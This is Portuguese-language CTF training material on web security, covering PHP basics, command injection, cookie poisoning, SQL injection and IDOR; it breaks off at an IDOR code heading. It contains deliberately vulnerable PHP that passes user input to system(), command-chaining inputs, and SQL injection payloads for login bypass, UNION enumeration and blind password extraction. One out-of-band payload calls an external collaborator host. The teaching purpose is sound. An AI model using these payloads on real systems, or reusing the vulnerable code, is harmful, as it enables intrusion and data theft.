![](https://media.prod.mdn.mozit.cloud/attachments/2016/08/09/13677/d031b77dee83f372ffa4e0389d68108b/Fetching_a_page.png)

Fonte: developer.mozilla.org

Até o momento, tratamos o Servidor Web como uma instância simples que é executada em uma única máquina. No entanto, isso nem sempre é verdade. Grandes websites precisam lidar com problemas de disponibilidade e performance em alta escala e isso, muitas vezes, demanda uma arquitetura muito maior do que um simples servidor HTTP.

Caso você queira se aprofundar mais no tema, recomendamos a video aula do link a seguir. Nela, você poderá entender um pouco melhor sobre a arquitetura e funcionamento de serviços que precisam lidar com uma grande quantidade de requisições, assim como citar outros intermediários que podem estar inseridos entre o cliente e o servidor final.

1. Lecture 9 - Scalability - Harvard Web Development (<https://youtu.be/-W9F__D3oY4>)
2. Reverse Proxy vs Load Balancer (<https://www.nginx.com/resources/glossary/reverse-proxy-vs-load-balancer/>)
3. Web Application Firewall (<https://pt.wikipedia.org/wiki/Web_Application_Firewall>)


# PHP (Programação server-side)

*Como vimos anteriormente, conteúdos gerados dinâmicamente geralmente executam alguma linguagem de programação por trás dos panos. Nesta aula iremos trazer um paradigma geral sobre as linguagens mais usadas para o desenvolvimento de aplicações Web dando enfoque à linguagem PHP.*

*Obs: se você já se sente confortável com desenvolvimento Web e PHP, sinta-se a vontade para avançar para os próximos tópicos.*

## 1. Quais linguagens de programação são utilizadas na Web?

Relembrando a aula anterior, servidores web são computadores que possuem alguma aplicação agindo como Servidor HTTP e processando as requisições.

Na teoria, portanto, você pode comandar essa aplicação para enviar requisições para um programa escrito em qualquer linguagem que você desejar (obviamente, você teria que se atentar às especificações ao integrar o servidor HTTP ao seu programa, garantindo que o mesmo recebesse e retornasse os dados corretamente).

Na prática, existem certas linguagens que costumam ser mais adotadas pelos desenvolvedores devido a alguns fatores. Vamos citar abaixo alguns deles.

* **Facilidade:** apesar de ser possível utilizar qualquer linguagem na hora de desenvolver um sistema web, algumas delas já possuem de antemão o ferramental necessário para lidar com as requisições recebidas do servidor. O [PHP](https://www.php.net/manual/pt_BR/intro-whatis.php), por exemplo, se tornou popular devido à baixa curva de aprendizado e à rapidez quando integrado ao Apache Web Server.
* **Frameworks:** muitas linguagens de próposito geral já possuem framewoks que facilitam no desenvolvimento web. Dentro vários, podemos citar, por exemplo, o framework [Django](https://www.djangoproject.com) para python e o [Rails](https://rubyonrails.org/) para Ruby.
* **Eficiência ou Segurança:** muitos sistemas precisam lidar com questões de desempenho e a escolha da linguagem muitas vezes impacta nesse fator. A linguagem [Rust](https://www.rust-lang.org/pt-BR), por exemplo, é muito empregada em sistemas cujo uso da memória precisa ser seguro e eficiente. Já o [Node.js](https://nodejs.org/en/) foi criado pensando em aplicações que necessitam de escalabilidade.
* **Gosto pessoal:** por fim, a zona de conforto do responsável pelo sistema também influencia muito na hora de escolher uma linguagem, uma vez que cada linguagem possui suas decisões de projeto, paradigmas, se é tipada/não tipada, se é compilada ou interpretada etc.

![Linguagens de Programação Web](https://i.imgur.com/c19QBDB.png)

Nos challs utilizados no Ping (assim como em muitos outros CTF's pela web) iremos utilizar, majoritariamente o PHP exatamente pelo fator de facilidade para principiantes de programação web. Vamos, portanto, dar uma breve olhada em como essa linguagem funciona na prática.

## 2. O que é o PHP?

O PHP se trata de uma linguagem de script de propósito geral criada em 1994 por Rasmus Lerdof. Ela nasceu nos primórdios da web como uma ferramenta voltada para a criação de sites e se tornou uma das mais conhecidas do meio. Essa linguagem é responsável por uma grande parcela dos sites que compõem a web e ainda recebe diversas atualizações. Vejamos então um exemplo de script utilizando essa linguagem.

```php
<html>
 <head>
  <title>Super Ultra Website</title>
 </head>
 <body>
     <?php echo "<p>Olá Mundo!</p>"; ?>
 </body>
</html>
```

Arquivo: index.php

Primeiramente podemos notar que há uma visível mistura de HTML com scripts PHP inseridos no meio, isso se deve a própria natureza da linguagem que nasceu para facilitar a criação de páginas dinâmicas para web. As tags `<?php ...código... ?>` permitem que o interpretador saiba diferenciar quais conteúdos devem ser de fato executados e quais devem apenas ser retornadas como estão.

Todos os arquivos devem terminar com o tipo `.php` e é comum que os Servidores HTTP sempre carreguem o arquivo `index` ao receberem uma requisição que aponte para uma pasta, como por exemplo:

```
GET / HTTP/1.1
Host: ganesh.icmc.usp.br

Apache irá carregar o arquivo /index.php ou /index.html se existirem...
```

## 3. Sintaxe, Variáveis e Operadores

O PHP se trata de uma linguagem não tipada e que também não exige que suas variáveis sejam previamente declaradas. Todas as variáveis devem iniciar com o símbolo `$` e há poucas restrições para os caractéres que podem ser utilizados em suas nomeações. Veja os exemplos:

```php
<?php
    $a = 1;
    $b = "5ej4 1m G4n3shEr!";
    $c = (2 * 2.5) + 3;
    $d = $a + $b + $c;

    echo $d;  // output: 14
```

Se você está estranhando o resultado 14 e não um erro por termos feito uma soma entre dois números e uma string, isso se deve à característica do PHP em tentar realizar a transformação automática da string para um número (que é bem sucedida pois a mesma inicia com o valor 5).

Logo, linguagens de tipo dinâmico são fáceis de serem utilizadas mas podem apresentar comportamento não previsíveis aos desatentos do seu funcionamento.

Outro detalhe importante é o uso obrigatório do `;` ao fim de cada sentença mesmo que seja utilizado apenas um comando por linha.

Por fim, o PHP possui uma série de operadores lógicos e estruturas de controle como grande parte das linguagens, veja o exemplo a seguir:

```php
<?php
    for($i = 0; $i < 10; $i++){
        if($i % 2 == 0){ 
            echo "par";
        } else {
            echo "impar";
        } 
    }
```

Para saber mais detalhes das estruturas de controles, declaração de funções e criação de classes e objetos a [documentação do PHP](https://www.php.net/manual/pt_BR/langref.php) é bastante simples de se compreender, além de existir bastante material disponível na internet para iniciantes.

## 4. Acessando os dados da Requisição

Vamos relembrar o diagrama visto na aula de Servidores Web acerca do Apache HTTP Server:

![](https://s3.amazonaws.com/stillat/img/ch1_request_lifecycle.png) Fonte: <https://stillat.com/>

Durante a etapa em que o servidor invoca o interpretador (etapa 4), as informações da requisição também são enviadas afim de ficarem disponíveis para o script `.php` e podem ser acessadas por meio de [variáveis globais pré-definidas](https://www.php.net/manual/pt_BR/reserved.variables.php). Vamos imaginar portanto, uma requisição para a seguinte url:

```
http://ganesh.icmc.usp.br/buscar.php?frente=web
```

Podemos acessar o parâmetro enviado pela URL utilizando a seguinte variável:

```php
<?php echo $_GET['frente']; ?>
```

Outras variáveis muito utilizadas também são: `$_POST`, `$_COOKIE`, `$_SERVER`, `$_REQUEST` e `$_SESSION`, tendo cada uma seu uso específico e que pode ser consultado na própria documentação.

## 5. De início quanto devo me aprofundar?

No âmbito de segurança web, compreender a linguagem utilizada é essencial para compreender a lógica implementada por trás de um sistema ou desafio. No geral, como a web utiliza o protocolo HTTP como meio de comunicação, uma vez que se compreenda o funcionamento de uma linguagem se torna um pouco mais simples a migração desses conceitos para novas linguagens.

Muitas das falhas que veremos nos websites não necessariamente estarão atreladas à uma linguagem em si mas sim às más decisões tomadas ao construir um determinada funcionalidade. Por outro lado, também haverá vulnerabilidades atreladas ao design de cada linguagem e possuir a capacidade de se adaptar dentre diferentes cenários é algo essencial (Exemplo: pesquise vulnerabilidades de PHP Type Juggling).

Logo, recomendamos que aproveite os desafios mais fáceis do Ping para se acostumar com a sintaxe do PHP e tentar compreender o que ocorre em cada código para então partir para outras linguagens.

*Menção Honrosa:* o Node.js é outra linguagem em ascenção e que já domina uma boa parcela das vagas de web atualmente, porém para evitar delongas deixamos seu estudo ao cargo do leitor.


# Command Injection

Vulnerabilidade web que permite com que o atacante execute comandos de terminal arbitrariamente, utilizando comandos do sistema operacional no servidor no qual roda a aplicação, sendo assim, possibilitando alcançar e explorar a aplicação como um todo, assim como seus dados.

A falha ocorre quando a aplicação envia comandos para o sistema operacional a partir de dados fornecidos pelo usuário, enviados para a aplicaçào via formulários, cookies, HTTP headers, entre outros, sendo que tais informações não recebem um tratamento ou não são validadas.

Os dados fornecidos pelo usuário rodam em uma shell do sistema operacional da aplicação.

Ao não ocorrer uma validação do input realizado pelo usuário, um atacante poderá inserir comandos de linha de terminal/sistema operacional através do parâmetro vulnerável, utilizando os privilégios da aplicação web, possibilitando um exploit.

Ainda, em casos mais extremos, é possível executar um reverse shell a partir do command injection, evoluindo o risco e consequências do ataque.

## Comandos utilizados e seus propósitos

| Propósito                                   | No Linux | No Windows    |
| ------------------------------------------- | -------- | ------------- |
| Descobrir o usuário atual                   | whoami   | whoami        |
| Descobrir o sistema em que roda a aplicação | uname -a | ver           |
| Configuração da internet                    | ifconfig | ipconfig /all |
| Processos em execução                       | ps -ef   | tasklist      |

## Exemplos de Command Injection

### Exemplo 1

Consideremos o seguinte código PHP

```php
<?php
    print("Please specify the name of the file to delete");
    print("<p>");
    $file=$_GET['filename'];
    system("rm $file");
?>
```

O código consiste em pegar o que é enviado pelo parâmetro filename do método GET do protocolo HTTP, utilizando para rodar um comando do sistema operacional, sendo ele o rm, que deleta um arquivo especificado como parâmetro.

Não existe tratamento ou validação do que é recebido pelo parâmetro, possibilitando um fácil ataque de um usuário malicioso, passando comandos junto ao já existente.

Realizando a seguinte requisição: enviar o nome do arquivo a ser removido pelo comando (rm bob.txt), mas acrescentando uma quebra de comando, com o caractere ";" e o comando id

```
https://127.0.0.1/delete.php?filename=bob.txt;id
```

Ao receber a requisição, o servidor utilizará a string enviado junto ao parâmetro get filename, executando o seguinte código:

```
rm bob.txt;id
```

Dessa forma, o arquivo bob.txt será de fato removido, mas teremos ainda a execução do comando seguinte (id), que nos retorna as informações acerca do usuário atual `uid=33(www-data) gid=33(www-data) groups=33(www-data)`

### Exemplo 2

Consideremos uma aplicação web simples, que requisita a partir de um formulário de texto, um ip para que seja pingado, sem realizar nenhuma validação do que recebe do usuário.

Ao receber um ip como 127.0.0.1, o comando executado a partir do sistema operacional que roda a aplicação é o seguinte: `ping -c 10 127.0.0.1` Em um código PHP seria algo do tipo

```php
$ip = $_GET['ip'];
system("ping -c 10 $ip");
```

Como não existe validação, um também válido seria `127.0.0.1; id;` Isso executaria o ping no ip desejado, e logo em seguida, resultaria na execução do comando id.

## Blind OS Command Injection (Command Injection às cegas)

Existem situações em que não é retornado para o usuário qual o resultado de sua interação, mesmo que a aplicação rode algum comando na shell do seu sistema operacional.

Dessa forma, é necessário encontrar outros modos de identificar que existe de fato uma shell rodando comandos a partir dos dados fornecidos pelo usuário.

Um exemplo é utilizando time delays: podemos inserir o comando ping com um número de determinado de pacotes ou de tempo para rodar, o que resulta em um delay da resposta da aplicação, resultante do tempo de execução do comando efetuado (ping com tempo ou pacotes delimitados).

## Redirecionado o output

Em algumas situações, podemos redirecionar o output de um comando que queremos verificar seu conteúdo, uma vez que não temos o retorno da aplicação, mas podemos manipular um arquivo e visualizar seu conteúdo. `; whoami > /var/www/static/whoami.txt;`

## Principais comandos de OS injecting & como mitigar Command Injection

Os seguintes comandos são muito úteis para utilizar ao construir payloads de command injection

* &
* &&&#x20;
* ;
* \n&#x20;
* \|&#x20;
* || &#x20;
* \`injected command\`
* $(injected command)

Dessa forma, a maneira mais precisa e eficiente de impossibilitar/mitigar ataques via command injection é realizar validações nos inputs realizados pelo usuário (*data-sanitize*), fazendo uma limpeza na string enviada a partir dos parâmetros, retirando os caracteres descritos acima.

## Fontes

[Owasp, uma das melhores fontes para aprender segurança web](https://owasp.org/www-community/attacks/Command_Injection)

[Portswigger: aprendendo segurança web de graça](https://portswigger.net/web-security/os-command-injection)

[Netsparker, artigo sobre Command Injection e sua mitigação](https://www.netsparker.com/blog/web-security/command-injection-vulnerability/)

[infosec, site brasileiro sobre segurança web](https://www.infosec.com.br/command-injection/)


# Cookie Poisoning

## O que é cookie poisoning

Cookie poisoning é uma estratégia de ataque onde o atacante altera, forja, sequestra ou podemos dizer "envenena" um cookie válido e manda-o de volta para o servidor para poder roubar dados, evitar a segurança ou ambos.

## O por que o cookie poisoning é importante?

Cookie poisoning é relativamente fácil para atacantes os quais podem usar um cookie envenenado para roubar a identidade do usuário para fraude ou para ganhar acesso não autorizado ao servidor para futuras explorações.

## Como cookie poisoning funciona?

Cookies (ou outros tokens de sessão) não gerados ou transmitidos com segurança são vulneráveis a sequestro ou envenenamento. Cross-site scripting (XSS) é uma maneira comum de roubar cookies, mas vários métodos, incluindo detecção de pacotes e força bruta, podem ser usados para obter acesso não autorizado aos cookies. E como o envenenamento de cookies é um termo geral para inúmeras atividades maliciosas que envolvem cookies, um exploit de envenenamento de cookies também pode ser descrito com precisão como um ataque man-in-the-middle ou sequestro de sessão, fixação ou falsificação, entre outros termos.

## Diferentes tipos de cookie poisoning:

* **Cookie poisoning pelo lado do cliente:**

  &#x20; A verdadeira forma de envenenamento de cookies é bastante rara porque os programadores de aplicativos hoje em dia raramente cometem esses erros básicos. Um ataque de envenenamento de cookie é iniciado por um usuário que manipula o conteúdo do cookie para sua vantagem antes que o cookie seja enviado ao servidor da web. Tudo o que o usuário precisa fazer é pressionar F12 e usar a GUI do navegador do usuário para modificar os cookies. Um usuário avançado pode, é claro, também criar uma solicitação HTTP adequada do zero, de acordo com suas necessidades.

  &#x20; Por exemplo, um aplicativo web mal escrito pode armazenar o nome de usuário do usuário atualmente conectado em um cookie. Em seguida, o aplicativo pode usar o conteúdo do cookie para verificar qual usuário está executando uma determinada operação. Nesse caso, o usuário pode alterar o conteúdo do cookie para se passar por outra pessoa, por exemplo o adminstrador da aplicação.
* **Man-in-the-middle Cookie Hijack:**

  &#x20; O termo envenenamento de cookies também é frequentemente usado para descrever o sequestro de cookies, que é uma forma de ataque man-in-the-middle (MITM). Nesse caso, o invasor usa alguma outra técnica de ataque para espionar a comunicação entre o navegador Web e o servidor Web e obtém acesso ao conteúdo do cookie que está sendo transmitido.

  &#x20; Em um ataque MITM típico, o invasor não apenas escuta a comunicação, mas pode manipulá-la. Eles podem roubar informações confidenciais contidas no cookie transmitido ou modificá-las em seu próprio benefício.
* **Cookie Hijacking using Buffer Overflow:**

  &#x20; O conteúdo dos cookies também pode ser acessado por terceiros não autorizados usando ataques de buffer overflow. Se o servidor Web executar um software vulnerável a ataques de buffer overflow, o invasor poderá ler a memória do servidor, que geralmente contém as informações de cookies mais recentes.

  &#x20; No entanto, esse tipo de ataque é muito raro. Poucos aplicativos instalados em servidores web são vulneráveis a buffer overflow e, mesmo que sejam, deve ser uma rara coincidência que o invasor consiga encontrar e reconhecer cookies para um determinado site. Observe que erros de buffer overflow quase nunca acontecem em aplicativos da web porque as linguagens mais populares usadas para criar aplicativos da web, como PHP, Java e JavaScript, são imunes a buffer overflow.
* **Cross-site Scripting and Cookie Hijacking:**

  &#x20; Os ataques de script entre sites (XSS) são uma maneira excelente de acessar o conteúdo do cookie, incluindo identificadores de sessão. Se o aplicativo da web for vulnerável até mesmo a XSS refletido simples, tudo o que o invasor precisa para receber o identificador de sessão é enganar a vítima para que clique em um link fornecido.

  &#x20; Assim que a vítima clica no link, o conteúdo do cookie de sessão é enviado em uma solicitação ao site do invasor. No caso mais simples, o invasor precisa apenas analisar os logs do servidor da web para ver o conteúdo do cookie da sessão.

## Como se prevenir de cookie poisoning?

* **F5 Advanced WAF (Web Application Firewall):**

  O F5 Advanced WAF usa inspeção de dados full proxy, análise de comportamento e aprendizado de máquina para fornecer segurança de aplicativo de alto nível, incluindo gerenciamento de sessão sofisticado e criptografia de cookies SSL / TLS. Ao interceptar todo o tráfego de e para o servidor da web, ele pode descriptografar esse tráfego e compará-lo com as informações enviadas pelo servidor para evitar que cookies alterados cheguem ao servidor ou aplicativo. Caso queira um video que explique melhor sobre o F5 Advanced WAF veja [esse video](https://www.youtube.com/watch?v=HBbDKBV4QW0\&ab_channel=F5DevCentral).
* Use apenas comunicação HTTPS, por exemplo, impondo HSTS. Isso reduz muito a ameaça de espionagem no conteúdo do cookie.
* Faça a varredura regularmente de seus aplicativos da web usando um scanner de vulnerabilidade para encontrar e eliminar todas as vulnerabilidades de segurança que podem levar ao envenenamento de cookies.
* Não use seus próprios geradores para criar identificadores de sessão. Confie no seu software de servidor da web para fazer isso por você.
* Nunca confie nos dados calculados do lado do cliente porque podem ser facilmente manipulados.

## Referências:

* <https://www.f5.com/services/resources/glossary/cookie-poisoning>
* <https://www.acunetix.com/blog/web-security-zone/what-is-cookie-poisoning/>


# Bancos de Dados

## 1. O que são?

Bancos de dados são coleções organizadas de informações ou dados estruturados, que tipicamente são armazenados em sistemas computacionais. Resumindo, os bancos de dados podem ser entendidos como arquivos de um computador que são criados respeitando certas regras de escrita, de tal forma que seja possível a interpretação desses dados por um outro sistema computacional com essas mesmas regras de escrita, ou até mesmo por um ser humano (quando se utiliza o formato JSON por exemplo).

## 2. Como funcionam?

Geralmente os bancos de dados são gerenciados por um Sistema de Gerenciamento de Banco de Dados (SGBD). Existem alguns exemplos bem conhecidos, como MySQL, PostgreSQL, Oracle, etc. Cada um desses sistemas gerenciadores possui regras específicas de como montar um banco de dados, além de possuir alguns recursos próprios, e vantagens uns sobre os outros. A grande maioria desses SGBDs possuem o conceito de usuários, onde cada usuário do sistema só possui acesso a um certo escopo do banco de dados, ou então só tem acesso a um determinado conjunto de comandos, por exemplo.

## 3. SGDB's

Os SGDB's (sistemas de gerenciamento de bancos de dados) são conjuntos de programas que fazem a interface entre os dados armazenados por uma DB e o usuário. Eles permitem o acesso e a manipulação dos dados. Eles visam armazenar organizadamente os dados, além de permitir busca e atualização eficiente dos mesmos.

## 4. Tipos de Bancos de dados

No geral os bancos de dados podem ser divididos em Bancos Relacionais ou Não-Relacionais (ou NOSQL - not only SQL).

## 4.1. Relacionais

Os bancos de dados relacionais se referem aos bancos que tem seus dados gravados em forma de tabelas, onde cada coluna da tabela armazena um tipo de dado (strings, inteiros, etc). Nesse tipo de DB, toda a estruturação dos dados no banco devem ser definidas antes do seu uso. Caso uma tabela não seja definida (não possua um esquema definido), não é possível inserir dados nela.\
Alguns exemplos de SGDBs relacionais são:

* [Oracle DB](https://www.oracle.com/br/database/)
* [PostgreSQL](https://www.postgresql.org/)
* [MySQL](https://www.mysql.com/)
* [Instalando MySQL no UBUNTU 20.04](https://www.digitalocean.com/community/tutorials/how-to-install-mysql-on-ubuntu-20-04-pt)

Os mais comuns em sistemas web são MySQL e PostgreSQL.

## 4.2. Não Relacionais

Os bancos de dados não relacionais não possuem a necessidade de fazer todo o esquema antes de começar a utilizá-lo, até porque todas as informações serão agrupadas em um registro. Não precisam das declarações dos relacionamentos, dado que tudo fica salvo no próprio registro. Um formato muito usual de armazenamento desse tipo de DB é o JSON, apesar de existirem outros formatos também.\
Alguns NOSQL são estruturados por meio de grafos, outros por meio de documentos, e ainda existem alguns outros tipos. Exemplos de SGDBs NOSQL:

* [Neo4j](https://neo4j.com/) - graph database
* [MongoDB](https://www.mongodb.com/)
* [Slides](https://docs.google.com/presentation/d/1a63G553yIaydrnve0kuhZQRrnW7QdjuCwtG1kYW5WKE/edit?usp=sharing)


# SQL Injection

É uma vulnerabilidade web que permite ao atacante interferir nas *queries* (consultas) feitas para o banco de dados de certa aplicação.

Em geral, o atacante consegue visualizar dados armazenados no banco de dados que ele não deveria poder ver (informação de outros usuários, dados da aplicação, senhas etc.). Além disso, pode ser que o atacante consiga modificar e deletar dados do DB e, em casos mais extremos, escalar o ataque para comprometer o funcionamento do *back-end* da aplicação ou performar um ataque DoS. De forma similar, ele pode subverter a lógica de certas aplicações e, por exemplo, passar pelo portal de login de algum site sem ter uma conta.

## Exemplos de SQL Injections

Vulnerabilidades desse tipo apresentam-se nas mais diferentes formas. Para cada situação de ataque, é possível que haja uma abordagem diferente.

Usaremos como base os exemplos da [Portswigger](https://portswigger.net/web-security/sql-injection), a fim de explicar um pouco sobre diferentes tipos de SQL Injections.

### Exemplo 1: modificando uma query para obter dados adicionais

Considere uma aplicação que distribui seus produtos em categorias. Quando o usuário clica na categoria "Presentes", o navegador manda uma requisição para o servidor da forma:

```
https://insecure-website.com/products?category=Gifts
```

Em seguida, a aplicação fará uma consulta no banco de dados, buscando os produtos da categoria "Presentes". A *query* utilizada seria, por exemplo:

```sql
SELECT * FROM products WHERE category = 'Gifts'
```

Essa consulta quer obter todas as informações (\*), ou seja, todas as colunas da base de dados, referentes à tabela "products" nas quais a categoria do produto ("category" é uma das colunas) é "Gifts".

Considerando que a aplicação não implementa defesas contra SQL Injections, um atacante poderia construir uma entrada do tipo `Gifts'+OR+1=1--` e colocá-la na URL:

```
https://insecure-website.com/products?category=Gifts'+OR+1=1--
```

Isso resultado na query:

```sql
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--'
```

*Obs.: o `+` transforma-se em espaço*

Nesse caso, a consulta quer obter todas as informações (\*) da tabela de produtos ("products"), mas só da categoria "Gifts" **ou 1 = 1**. Num primeiro momento isso pode parecer estranho, mas essa query está buscando todas as informações da tabela de produtos de **todos** os produtos, porque a condição para um produto ser selecionado pela consulta é que ele deve ser da categoria "Gifts" ou *1 deve ser igual à 1, o que sempre é verdade!*. Dessa forma, o atacante recebe como resposta todas as entradas da tabela produtos.

Além disso, note que há um `--` ao final da entrada do atacante. Isso representa, em certos bancos de dados (e nesse caso), um comentário. Logo, tudo que estiver escrito após isso será considerado um comentário. Isso é necessário para que a *query* termine com o código do atacante e ignore todo o resto. Por exemplo, se a consulta fosse

```sql
SELECT * FROM products WHERE category = '<entrada_do_atacante>' AND (price < 100)
```

Se o resto da consulta (`' AND (price < 100)`) não for comentado, o atacante não obterá tudo que quer ou a consulta dará erro. Entretanto, se houver um `--` ao final da entrada, não haverá problemas (`blabla' OR 1=1 --`):

```sql
SELECT * FROM products WHERE category = 'blabla' OR 1=1 --' AND (price < 100)
```

### Exemplo 2: acessando uma conta de administrador sem saber a senha

Considere um portal de login, com usuário e senha. Se alguém submeter o usuário "mineboy2007" e a senha "sadgoat123", a aplicação checa as credenciais a partir da *query* SQL:

```sql
SELECT * FROM users WHERE username = 'mineboy2007' AND password = 'sadgoat123'
```

Se ela retornar as informações do usuário, o login é um sucesso. Do contrário, ele falha.

Nesse cenário, um atacante poderia logar como qualquer usuário ao remover a checagem de senha ao inserir um comentário na *query*. Ele pode submeter, por exemplo, o usuário `admin' --` e qualquer coisa na senha (pois ela não será verificada). Assim, *query* SQL fica:

```sql
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
```

Essa *query* irá retornar o usuário cujo nome é "admin" (independentemente da senha estar correta ou não) e logará o atacante no portal (como administrador).

## [SQL Injection UNION Attack](https://portswigger.net/web-security/sql-injection/union-attacks)

Se o resultado da *query* é retornado pela resposta da aplicação e ela é vulnerável à SQL Injection, provavelmente é possível utilizar um **UNION Attack** para obter informações de outras tabelas do banco de dados. Esse ataque consiste em utilizar o `UNION`, que permite a execução de SELECTs adicionais em uma *query*. Por exemplo, a *query* abaixo retorna 4 colunas: a, b (da table\_1) e c, d (da table\_2).

```sql
SELECT a, b FROM table_1 UNION SELECT c, d FROM table_2
```

Para uma *query* com UNION funcionar, é necessário que:

* Cada SELECT, antes e depois do UNION, tenha a mesma quantidade de colunas (ex.: na *query* acima, estamos buscando 2 colunas no primeiro SELECT e 2 colunas no segundo SELECT);
* O tipo de dado de cada coluna seja correspondente entre as *queries* individualmente (ex.: na *query* acima, a coluna 'a' deve ser do mesmo tipo da coluna 'c' e a coluna 'b' deve ser do mesmo tipo da coluna 'd').

### Dicas para esse tipo de ataque

#### Descobrir número de colunas da tabela

Para descobrir o número de colunas presentes na tabela, podemos usar o `ORDER BY` + `índice da coluna na tabela`. Esse comando ordena as respostas (por ordem alfabética por exemplo) de acordo com certa coluna. Para descobrir a quantidade de colunas da tabela, basta ir aumentando o índice da coluna no `ORDER BY`. Quando o servidor responder com um erro para o `ORDER BY X`, sabemos que a coluna X não existe e, portanto, a tabela tem X-1 colunas.

```sql
'       blabla' ORDER BY 1 --
'       blabla' ORDER BY 2 --
'       blabla' ORDER BY 3 --
```

Se o erro for enviado ao cliente de forma explícita, ele deve ser algo como `"The ORDER BY position number 3 is out of range of the number of items in the select list."`

Outra opção para descobrir o número de colunas é utilizar ORDER BY passando vários NULL como "colunas" de ordenação:

```sql
'       blabla' ORDER BY NULL, NULL -- tabela tem pelo menos 2 colunas se não retornar erro
'       blabla' ORDER BY NULL, NULL, NULL -- tabela tem pelo menos 3 colunas se não retornar erro
```

#### Descobrir tipo de dado de certa coluna

Sabendo o número de colunas da tabela é possível descobrir o tipo de dado em cada coluna. Para isso, é necessário realizar testes com *queries* do tipo:

```sql
'       blabla' UNION SELECT 'a',NULL,NULL,NULL --
'       blabla' UNION SELECT NULL,'a',NULL,NULL --
'       blabla' UNION SELECT NULL,NULL,'a',NULL --
'       blabla' UNION SELECT NULL,NULL,NULL,'a'--
```

Ao submeter, por exemplo, `' UNION SELECT 'a',NULL,NULL,NULL --`, testaremos se a 1ª coluna contém strings, pois estamos fazendo um UNION, ou seja, o dado da 1ª coluna do 1º SELECT deve ser do mesmo tipo que o da 1ª coluna do 2º SELECT (o mesmo vale para as outras colunas). Caso o servidor responda com um erro (como `Conversion failed when converting the varchar value 'a' to data type int.`), sabemos que a primeira coluna não contém strings (varchar). Do contrário, se a *query* for um sucesso, a primeira coluna armazena strings.

`NULL` pode ser convertido para qualquer tipo, portanto não haverá problemas relacionados a tipos de dado incompatíveis ao utilizá-lo num UNION.

## [Blind SQL Injection](https://portswigger.net/web-security/sql-injection/blind)

Já escrevi muita coisa para essa introdução, agora é com vocês: pesquisem!

* Checar o começo de uma senha com `SUBSTRING`: `SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '` + `pwn' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--` -> `TRUE` => 1ª letra da senha é maior que 'm'(usar SUBSTR ou SUBSTRING - depende do DB)
* Outra possibilidade de teste é: `SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '` + `pwn' UNION SELECT 'a' WHERE 1=1--`

## Extra

* Para exibir a lista de tabelas do DB (exceto DBs da Oracle):

  ```sql
  SELECT * FROM information_schema.tables
  ```

-Para exibir lista de colunas de uma tabela:

```sql
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
```

* Em DBs da Oracle, usa-se:

  ```sql
  SELECT * FROM all_tables -- listar tabelas
  SELECT * FROM all_tab_columns WHERE table_name = 'nome_da_tabela' -- listar colunas
  ```
* Em DBs da Oracle, um `SELECT` sempre deve conter um `FROM <nome_da_tabela>`. Para isso, uma tabela "padrão" para se usar é `DUAL`
* Para concatenar resultados (colunas diferentes) em uma coluna, pode-se usar o `||`: `' UNION SELECT username || '~' || password FROM users -- -` (ORACLE e POSTGRE) ou `'foo'+'bar'` (MICROSOFT) ou `'foo' 'bar'` e `CONCAT('foo','bar')` (MYSQL)

*Para ver mais, procure por "SQL Injection Cheat Sheets" como* [*essa*](https://portswigger.net/web-security/sql-injection/cheat-sheet) *ou* [*essa*](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)*.*

## Como detectar uma SQL Injection?

Ferramentas como Burpsuite ou Sqlmap são capazes de detectar diversas vulnerabilidades relacionadas à SQL Injection de forma automática, mas também podemos realizar alguns testes simples para verificar se há falhas no sistema responsável pela comunicação com o banco de dados. Alguns desses testes são:

* Enviar aspas simples (`'`);
* Enviar condicionais como `OR 1=1` e `OR 1=2`;
* Enviar *payloads* com *triggers* de tempo (*delay*) como `'; IF (1=2) WAITFOR DELAY '0:0:10'--` e analisar o tempo de resposta;
* Enviar *payloads* de OAST ([Out-of-band Application Security Testing](https://portswigger.net/blog/oast-out-of-band-application-security-testing)) que causam certos *triggers* e monitorar interações com sistemas externos.
  * Já que não explicamos sobre isso, segue um exemplo:

    ```sql
      '||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % ekiom SYSTEM "http://pibw1f1nhjh3vpkgtx6mtfnt8kea2eq8dy1n.burpcollab'||'orator.net/"> %ekiom;]>'),'/l') from dual)||' 
      -- conecta com um servidor de colaborador do Burp (faz uso de XML/DTD)
    ```

## Links externos

* [Portswigger](https://portswigger.net/web-security/sql-injection)
* [OWASP](https://owasp.org/www-community/attacks/SQL_Injection)
* [Acunetix](https://www.acunetix.com/websitesecurity/sql-injection/)
* [Slides](https://docs.google.com/presentation/d/1b4_fIMaTUPHAttJusjnAbkdXcLSwSJiV9X3IfRGP0yI/edit?usp=sharing)


# Insecure Direct Object Reference (IDOR)

*Como última vulnerabilidade apresentada aqui, iremos falar sobre o IDOR, um tipo de falha que, apesar de ser muito simples de corrigir, abre margem para vazamento ou manipulação indevida de dados.*

## O que é o IDOR?

O IDOR (ou *Insecure Direct Object Reference*) é uma vulnerabilidade que ocorre quando um sistema web utiliza uma forma insegura para referenciar objetos e dados que serão retornados ao usuário ou que serão modificados por ele sem garantir que tal pessoa, ao realizar essas ações, tenha o nível de acesso adequado para isso. Um pouco confuso? Então vamos para alguns exemplos...

## Cenários de exemplos

### Cenário 1 - IDOR via parâmetro GET

Neste cenário, vamos supor que você está navegando por um site como um usuário autenticado e, ao se deparar com a URL, encontra algo da seguinte forma:

```
https://ga.nesh.com/profile/?userId=1337
```

Como um bom computeiro curioso, você decide mudar o parâmetro `userId` para 1338 e solicitar ao servidor novamente aquela página, ou seja, enviar uma requisição com esse novo parâmetro. Com isso, você ganha acesso aos dados da conta de uma tal de Mariena - com foto de perfil de gatinho.

Este é o exemplo mais simples de **Insecure Direct Object Reference**, pois nesse caso os dados do usuário estão sendo referênciados diretamente pelo seu ID passado via parâmetro sem que haja qualquer outra validação (como cookies de sessão).

![Exemplo IDOR](https://i.imgur.com/mD3L5UU.png)

#### Código vulnerável de exemplo:

